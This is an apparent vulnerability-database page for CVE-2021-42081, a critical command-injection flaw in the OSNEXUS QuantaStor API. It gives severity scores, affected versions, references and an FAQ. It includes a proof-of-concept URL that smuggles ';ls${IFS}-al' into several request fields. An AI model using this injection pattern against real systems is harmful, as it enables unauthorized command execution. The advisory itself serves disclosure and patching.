CVE-2021-42081 — CRITICAL (9.1)

Vulnerability Description

An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al

CVSS Score

9.1

CRITICAL

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

CHANGED

Confidentiality

HIGH

Integrity

HIGH

Availability

HIGH

Affected Products

Vendor	Product	Versions
Osnexus	Quantastor	< 6.0.0.355

Related Weaknesses (CWE)

CWE-78

References

https://csirt.divd.nl/CVE-2021-42081Third Party Advisory
https://csirt.divd.nl/DIVD-2021-00020/
https://www.osnexus.com/products/software-defined-storageProduct
https://www.wbsec.nl/osnexusThird Party Advisory
https://csirt.divd.nl/CVE-2021-42081Third Party Advisory
https://www.divd.nl/DIVD-2021-00020
https://www.osnexus.com/products/software-defined-storageProduct
https://www.wbsec.nl/osnexusThird Party Advisory

FAQ

What is CVE-2021-42081?

CVE-2021-42081 is a vulnerability with a CVSS score of 9.1 (CRITICAL). An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescripti...

How severe is CVE-2021-42081?

CVE-2021-42081 has been rated CRITICAL with a CVSS base score of 9.1/10. This is considered a critical vulnerability requiring immediate attention.

Is there a patch for CVE-2021-42081?

Check the references section above for vendor advisories and patch information. Affected products include: Osnexus Quantastor.